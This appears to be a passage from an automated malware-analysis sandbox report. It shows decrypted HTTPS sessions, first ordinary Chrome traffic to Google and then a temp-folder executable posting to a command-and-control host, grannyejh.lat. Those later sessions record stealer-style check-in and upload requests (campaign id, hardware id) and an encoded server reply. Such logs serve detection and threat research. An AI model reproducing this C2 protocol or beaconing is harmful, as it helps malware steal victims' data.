2024-12-18 16:09:06 UTC	258	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 34 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 2c 31 30 32 32 37 38 32 31 31 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700334,3701384,102278205,102278211],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){
2024-12-18 16:09:06 UTC	226	IN	Data Raw: 64 63 0d 0a 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 0d 0a Data Ascii: dcar window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addE
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 79 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 7a 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e Data Ascii: 8000ventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar yd\u003ddocument.querySelector(\".gb_I .gb_A\"),zd\u003ddocument.querySelector(\"#gb.
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 28 5f 2e 48 64 3f 5f 2e 48 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 51 64 2c 64 65 2c 50 64 2c 52 64 2c 57 64 3b 5f 2e 4e 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e Data Ascii: tp\"),new _.Fd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld(_.Hd?_.Hd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Qd,de,Pd,Rd,Wd;_.Nd\u003dfunction
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 30 30 33 64 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 73 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4f 64 28 5f 2e 45 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 Data Ascii: 003d_.Ma(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _.sb(a,b,c,!1)!\u003d\u003dvoid 0};_.be\u003dfunction(a,b){return _.Od(_.Ec(a,b))};_.S\u003dfunction(a,b)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49893	142.250.181.132	443	6216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:06 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 16:09:07 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 18 Dec 2024 16:09:06 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 16:09:07 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-18 16:09:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49897	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:06 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 16:09:06 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 16:09:08 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cuu6rll9n6i5o698h2i8la8935; expires=Sun, 13-Apr-2025 09:55:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BaIdTS6qY4OdU5wwFywAuHFOaJABs6tT9xmEw2FtIOhsbQjuyxrGIbto7hRSNAlydLLL8lfWp39E9vS4niAZaE2YPJDbAnspth8y2Bwf3F9qiRUbdwjWSubpb0g8ISoV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406a59cae00fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1672&rtt_var=634&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1714621&cwnd=252&unsent_bytes=0&cid=9641256853d0e478&ts=1586&x=0"
2024-12-18 16:09:08 UTC	346	IN	Data Raw: 34 39 31 63 0d 0a 6f 73 73 79 6f 69 5a 4c 35 72 39 64 4b 73 62 52 72 5a 77 6c 44 6d 70 50 65 63 35 6c 45 47 4c 62 70 6b 61 57 55 70 65 36 44 76 72 5a 36 55 53 41 48 48 2f 4b 6e 53 35 50 35 4f 76 5a 37 6c 42 72 52 6d 30 59 71 6b 63 71 42 4c 72 4b 4e 66 4e 2b 74 63 78 6a 32 4a 69 74 55 38 35 56 4c 73 71 64 4f 46 4c 6b 36 2f 62 6e 42 32 73 45 62 55 50 73 41 48 6f 41 75 73 6f 6b 39 7a 6e 34 79 6d 4b 5a 79 71 64 56 79 6b 4d 6f 67 74 34 78 52 36 4f 30 79 50 31 50 59 41 4d 69 45 61 4e 48 50 45 43 2b 33 47 53 73 63 4e 72 66 65 70 76 76 71 6b 48 4a 42 44 62 4b 78 48 39 50 71 50 4f 58 76 6b 52 72 43 43 4d 66 71 67 35 34 43 72 50 43 4a 66 49 34 35 39 4e 6f 6b 73 71 70 56 73 74 4a 49 5a 62 54 4f 30 43 6f 73 73 4c 39 42 79 4a 49 4b 67 50 73 58 7a 4a 54 69 38 63 31 35 Data Ascii: 491cossyoiZL5r9dKsbRrZwlDmpPec5lEGLbpkaWUpe6DvrZ6USAHH/KnS5P5OvZ7lBrRm0YqkcqBLrKNfN+tcxj2JitU85VLsqdOFLk6/bnB2sEbUPsAHoAusok9zn4ymKZyqdVykMogt4xR6O0yP1PYAMiEaNHPEC+3GSscNrfepvvqkHJBDbKxH9PqPOXvkRrCCMfqg54CrPCJfI459NoksqpVstJIZbTO0CossL9ByJIKgPsXzJTi8c15
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 32 4a 6a 70 56 73 35 46 4a 49 54 50 4e 30 4f 76 74 74 33 31 54 6d 45 46 4c 52 61 6d 43 48 45 41 76 73 34 75 2b 7a 72 78 31 57 47 65 77 4b 6b 51 6a 67 51 75 6e 4a 31 6e 43 49 65 32 33 2f 6c 4c 65 6b 6f 58 57 37 4e 4a 61 30 43 2b 79 47 53 73 63 50 33 64 62 35 76 4c 70 6c 50 49 54 7a 75 45 7a 7a 6c 46 6f 61 48 4a 2b 30 6c 6d 43 7a 38 52 6f 67 46 78 43 62 4c 4e 49 66 4d 30 74 5a 59 73 6e 39 6a 70 43 49 42 6c 4a 49 2f 52 4e 56 2b 6b 38 39 43 77 58 69 77 50 49 56 76 30 52 33 59 42 76 63 55 67 2b 6a 37 78 31 47 71 57 7a 61 5a 57 79 6b 51 75 6a 74 55 33 53 61 6d 34 77 50 35 43 59 51 77 72 46 36 30 43 4d 6b 37 35 77 7a 79 30 61 4c 58 32 61 35 76 53 36 32 58 44 53 69 65 44 79 33 39 58 36 71 71 50 2b 55 73 73 55 47 30 56 71 51 68 67 41 61 76 42 4b 75 59 38 38 4e 35 Data Ascii: 2JjpVs5FJITPN0Ovtt31TmEFLRamCHEAvs4u+zrx1WGewKkQjgQunJ1nCIe23/lLekoXW7NJa0C+yGSscP3db5vLplPITzuEzzlFoaHJ+0lmCz8RogFxCbLNIfM0tZYsn9jpCIBlJI/RNV+k89CwXiwPIVv0R3YBvcUg+j7x1GqWzaZWykQujtU3Sam4wP5CYQwrF60CMk75wzy0aLX2a5vS62XDSieDy39X6qqP+UssUG0VqQhgAavBKuY88N5
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 32 58 44 53 69 65 44 79 33 39 58 36 71 71 50 2b 55 73 73 55 47 30 57 70 41 4a 33 44 37 6a 4f 4b 76 45 36 2b 64 42 69 6d 39 4b 6d 56 4d 42 49 49 59 37 51 4d 55 79 73 75 73 54 31 51 57 77 4a 4a 31 76 69 52 33 55 59 2b 5a 78 6b 77 44 66 35 31 57 50 61 39 61 70 65 7a 6b 4d 2f 78 4d 4a 78 55 65 53 30 77 37 34 66 4c 41 51 6b 47 36 63 4e 64 67 43 2b 79 53 48 33 4e 2f 62 56 61 35 4c 4f 72 6c 54 4d 54 53 53 43 33 54 68 4d 6f 61 48 4b 39 30 74 67 53 47 4e 62 71 78 38 79 57 50 6e 72 49 2b 49 7a 32 74 74 39 6b 59 43 32 48 74 6b 45 4c 6f 69 64 5a 77 69 6a 74 73 66 31 51 57 51 49 50 78 36 69 44 48 4d 4b 76 38 55 70 2b 44 62 31 32 57 79 65 7a 4b 6c 58 78 31 59 37 67 64 73 74 51 75 54 39 6a 2f 6c 66 4c 46 42 74 4c 62 77 51 59 78 62 37 38 53 66 36 50 76 4c 4f 4c 49 65 4f Data Ascii: 2XDSieDy39X6qqP+UssUG0WpAJ3D7jOKvE6+dBim9KmVMBIIY7QMUysusT1QWwJJ1viR3UY+ZxkwDf51WPa9apezkM/xMJxUeS0w74fLAQkG6cNdgC+ySH3N/bVa5LOrlTMTSSC3ThMoaHK90tgSGNbqx8yWPnrI+Iz2tt9kYC2HtkELoidZwijtsf1QWQIPx6iDHMKv8Up+Db12WyezKlXx1Y7gdstQuT9j/lfLFBtLbwQYxb78Sf6PvLOLIeO
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 45 6d 6a 73 38 33 52 71 6d 34 77 50 56 56 62 41 55 70 46 36 67 50 65 51 72 35 69 6d 54 7a 4b 4c 57 41 4c 4b 33 4e 70 6c 44 44 55 6d 6d 62 6b 79 59 49 6f 37 2b 50 70 67 64 67 42 69 30 55 6f 41 74 35 43 4c 6a 49 4b 76 4d 31 2f 4e 42 6b 69 73 47 74 57 4d 46 4b 4a 6f 58 5a 4f 6b 32 67 74 4d 76 34 53 43 78 47 62 52 79 30 52 79 70 41 6c 75 4d 52 74 68 48 50 6d 48 50 57 32 65 6c 58 7a 41 52 78 78 4e 45 38 52 4b 79 38 79 66 64 4c 5a 67 45 6d 46 36 63 44 66 67 6d 38 77 69 58 78 4e 66 54 63 59 4a 4c 47 71 6c 50 50 53 79 61 4d 6e 58 45 49 6f 36 75 50 70 67 64 4a 48 79 59 56 71 6b 64 74 54 71 43 45 49 2f 68 77 72 5a 68 67 6b 63 61 76 56 63 78 46 4c 34 7a 59 4e 30 79 6c 74 63 6e 39 53 47 67 4e 4c 42 53 6f 43 33 77 4b 75 4d 55 6f 2f 7a 2f 2b 33 53 7a 57 67 4b 35 49 67 Data Ascii: Emjs83Rqm4wPVVbAUpF6gPeQr5imTzKLWALK3NplDDUmmbkyYIo7+PpgdgBi0UoAt5CLjIKvM1/NBkisGtWMFKJoXZOk2gtMv4SCxGbRy0RypAluMRthHPmHPW2elXzARxxNE8RKy8yfdLZgEmF6cDfgm8wiXxNfTcYJLGqlPPSyaMnXEIo6uPpgdJHyYVqkdtTqCEI/hwrZhgkcavVcxFL4zYN0yltcn9SGgNLBSoC3wKuMUo/z/+3SzWgK5Ig
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 58 4d 30 2b 68 75 4d 44 79 42 79 4a 49 4b 67 50 73 58 7a 49 75 73 74 63 7a 39 7a 37 2b 7a 6e 66 59 33 2b 64 4a 67 45 4d 6c 78 49 56 2f 53 36 2b 34 79 2f 35 4c 62 41 77 67 47 37 34 49 64 51 65 77 7a 7a 62 2b 4e 2f 4c 54 5a 4a 50 50 72 30 4c 4d 53 6a 75 42 7a 79 30 49 36 76 50 49 35 67 63 30 53 42 73 63 76 42 64 78 51 6f 6a 53 4a 2b 49 37 2b 4e 51 73 68 34 36 77 45 4d 64 49 61 64 79 64 4f 55 65 74 73 4d 44 2f 54 6d 41 46 4b 42 4b 70 42 6e 51 45 73 38 34 6b 38 6a 62 30 33 57 61 62 77 61 4e 5a 78 30 77 75 68 38 39 2f 42 75 53 30 31 37 34 66 4c 43 45 71 43 61 49 58 4d 68 2f 33 33 57 54 7a 50 4c 57 41 4c 4a 7a 4b 70 6c 54 48 53 43 2b 42 32 7a 4a 4a 71 37 4c 50 38 55 4e 6e 41 53 73 61 6f 51 4a 2f 42 4b 76 4f 4c 2f 73 38 2f 4e 52 68 32 49 37 70 56 39 67 45 63 63 Data Ascii: XM0+huMDyByJIKgPsXzIustcz9z7+znfY3+dJgEMlxIV/S6+4y/5LbAwgG74IdQewzzb+N/LTZJPPr0LMSjuBzy0I6vPI5gc0SBscvBdxQojSJ+I7+NQsh46wEMdIadydOUetsMD/TmAFKBKpBnQEs84k8jb03WabwaNZx0wuh89/BuS0174fLCEqCaIXMh/33WTzPLWALJzKplTHSC+B2zJJq7LP8UNnASsaoQJ/BKvOL/s8/NRh2I7pV9gEcc
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 70 4c 37 46 37 45 31 6e 44 53 41 57 6f 51 52 30 42 72 4c 49 4e 76 30 77 39 74 4d 73 31 6f 43 75 53 49 41 63 61 61 66 4b 4b 55 4b 6a 76 39 6e 31 52 6d 38 65 49 41 76 73 53 54 49 52 76 74 56 6b 72 43 62 6c 7a 32 75 48 6a 72 41 51 78 30 68 70 33 4a 30 35 51 61 4b 30 79 66 42 56 61 51 34 69 46 4b 55 4f 64 67 69 36 78 43 44 77 4e 2f 44 62 59 4a 50 48 71 6c 2f 45 54 53 65 4e 30 6e 38 47 35 4c 54 58 76 68 38 73 4b 54 59 59 6f 41 6f 79 48 2f 66 64 5a 50 4d 38 74 59 41 73 6c 4d 36 73 55 4d 70 43 4c 59 48 62 4e 55 32 6b 75 4d 7a 78 51 32 6f 4d 49 68 75 6e 44 6e 4d 47 76 4d 34 76 38 6a 33 32 33 6d 72 59 6a 75 6c 58 32 41 52 78 78 50 30 6b 52 61 69 30 6a 2b 45 4a 64 55 67 71 46 2b 78 66 4d 67 75 31 77 43 50 30 50 66 62 51 61 5a 7a 4b 72 46 44 49 56 69 47 45 32 69 31 Data Ascii: pL7F7E1nDSAWoQR0BrLINv0w9tMs1oCuSIAcaafKKUKjv9n1Rm8eIAvsSTIRvtVkrCblz2uHjrAQx0hp3J05QaK0yfBVaQ4iFKUOdgi6xCDwN/DbYJPHql/ETSeN0n8G5LTXvh8sKTYYoAoyH/fdZPM8tYAslM6sUMpCLYHbNU2kuMzxQ2oMIhunDnMGvM4v8j323mrYjulX2ARxxP0kRai0j+EJdUgqF+xfMgu1wCP0PfbQaZzKrFDIViGE2i1
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 62 34 66 4c 44 5a 74 43 61 38 58 63 51 2b 6f 2b 6d 53 73 4b 63 75 59 5a 34 37 48 75 56 50 57 54 79 53 49 7a 41 45 49 2f 4f 65 64 72 42 55 2b 57 6a 4a 62 73 7a 67 38 51 4c 69 45 66 4d 30 70 74 63 34 73 77 4a 4c 6e 45 4e 49 45 63 63 53 61 50 46 71 32 74 63 7a 6f 52 43 73 32 45 7a 79 36 44 58 55 51 76 74 4d 72 74 48 36 31 31 79 7a 41 2b 65 6c 5a 78 31 38 34 6b 74 41 76 54 2b 53 4d 67 62 35 66 4c 46 42 74 4c 71 38 4a 66 41 65 76 31 57 6e 54 4a 76 2f 66 66 4a 2f 58 70 68 43 4f 42 43 2f 45 68 57 77 47 35 4c 66 65 76 68 38 38 57 6e 5a 4f 2f 31 41 69 55 71 61 4b 50 62 51 6d 74 59 41 2b 31 6f 43 37 45 4a 67 45 62 6f 66 50 4c 55 36 6e 70 63 79 35 65 56 49 76 4e 78 61 71 45 47 4d 2b 68 38 4d 2b 2b 54 62 69 79 53 43 4e 77 36 64 65 78 31 4a 70 79 70 30 77 43 50 79 4b Data Ascii: b4fLDZtCa8XcQ+o+mSsKcuYZ47HuVPWTySIzAEI/OedrBU+WjJbszg8QLiEfM0ptc4swJLnENIEccSaPFq2tczoRCs2Ezy6DXUQvtMrtH611yzA+elZx184ktAvT+SMgb5fLFBtLq8JfAev1WnTJv/ffJ/XphCOBC/EhWwG5Lfevh88WnZO/1AiUqaKPbQmtYA+1oC7EJgEbofPLU6npcy5eVIvNxaqEGM+h8M++TbiySCNw6dex1Jpyp0wCPyK
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 31 49 64 55 76 2b 58 43 64 54 37 70 52 32 36 33 37 73 6d 48 72 59 6d 50 73 65 67 46 5a 70 33 4a 31 34 53 37 61 68 79 66 31 52 62 30 38 54 4a 59 73 4a 64 51 47 76 31 44 50 37 44 73 76 4e 62 35 62 4f 72 6b 62 52 42 47 66 45 30 6e 38 51 6e 66 4f 48 76 6e 67 69 53 44 56 62 39 45 64 48 41 37 66 4b 49 2b 49 68 75 50 39 69 6e 38 47 2f 51 4e 64 4c 61 63 71 64 4f 51 6a 38 34 59 47 2b 51 33 31 49 64 55 76 2b 58 43 64 54 37 70 52 32 36 33 37 73 6d 48 72 59 6d 50 73 65 67 46 5a 70 33 4a 31 34 53 37 61 68 79 66 31 52 62 30 38 54 4a 59 73 4a 64 51 47 76 31 44 50 37 66 39 76 75 54 61 62 2b 76 46 50 4f 53 69 36 53 7a 48 38 47 35 4c 79 50 70 6e 34 73 51 47 30 6b 34 6b 64 71 51 4f 47 45 45 66 63 2b 2b 39 39 36 69 59 32 4f 58 73 64 46 50 35 54 4b 4d 41 65 4b 68 65 36 2b 43 Data Ascii: 1IdUv+XCdT7pR2637smHrYmPsegFZp3J14S7ahyf1Rb08TJYsJdQGv1DP7DsvNb5bOrkbRBGfE0n8QnfOHvngiSDVb9EdHA7fKI+IhuP9in8G/QNdLacqdOQj84YG+Q31IdUv+XCdT7pR2637smHrYmPsegFZp3J14S7ahyf1Rb08TJYsJdQGv1DP7f9vuTab+vFPOSi6SzH8G5LyPpn4sQG0k4kdqQOGEEfc++996iY2OXsdFP5TKMAeKhe6+C
2024-12-18 16:09:08 UTC	1369	IN	Data Raw: 59 76 41 42 4d 50 70 54 57 49 2b 51 7a 74 2b 6c 36 6d 38 43 6e 56 34 41 4b 61 5a 79 64 5a 77 69 4a 6f 63 6a 75 52 43 78 47 62 52 66 73 58 7a 49 4e 71 38 4d 30 39 33 7a 79 77 6d 76 59 33 2b 64 4a 67 46 4a 70 33 49 35 78 43 4c 62 7a 6c 37 34 41 59 67 55 73 47 4b 49 45 59 42 4b 2f 78 7a 4c 33 64 38 76 6d 51 59 72 48 75 56 4f 43 64 53 53 41 79 79 70 4c 74 4c 54 78 77 47 70 2b 44 7a 30 59 37 69 74 31 44 62 58 36 47 73 4d 68 38 73 67 75 76 73 4f 2f 55 34 41 4b 61 5a 79 64 5a 77 69 4a 6f 63 6a 75 52 43 34 6b 4b 68 61 67 52 32 31 4f 6f 49 51 79 74 47 69 6d 6c 69 79 4b 67 50 45 51 68 30 63 37 6c 74 73 38 58 71 66 30 38 63 42 71 66 67 38 39 47 4f 34 32 66 77 53 76 30 53 66 6b 4e 38 76 6d 51 59 72 48 75 56 4f 43 59 52 50 47 37 43 6c 4c 70 4c 33 49 76 67 6b 73 45 47 Data Ascii: YvABMPpTWI+Qzt+l6m8CnV4AKaZydZwiJocjuRCxGbRfsXzINq8M093zywmvY3+dJgFJp3I5xCLbzl74AYgUsGKIEYBK/xzL3d8vmQYrHuVOCdSSAyypLtLTxwGp+Dz0Y7it1DbX6GsMh8sguvsO/U4AKaZydZwiJocjuRC4kKhagR21OoIQytGimliyKgPEQh0c7lts8Xqf08cBqfg89GO42fwSv0SfkN8vmQYrHuVOCYRPG7ClLpL3IvgksEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49924	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:11 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OB1OMCJNNG5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13214 Host: grannyejh.lat
2024-12-18 16:09:11 UTC	13214	OUT	Data Raw: 2d 2d 4f 42 31 4f 4d 43 4a 4e 4e 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 42 31 4f 4d 43 4a 4e 4e 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 42 31 4f 4d 43 4a 4e 4e 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 42 31 4f 4d 43 4a 4e 4e 47 35 0d 0a 43 6f 6e 74 Data Ascii: --OB1OMCJNNG5Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--OB1OMCJNNG5Content-Disposition: form-data; name="pid"2--OB1OMCJNNG5Content-Disposition: form-data; name="lid"PsFKDg--pablo--OB1OMCJNNG5Cont
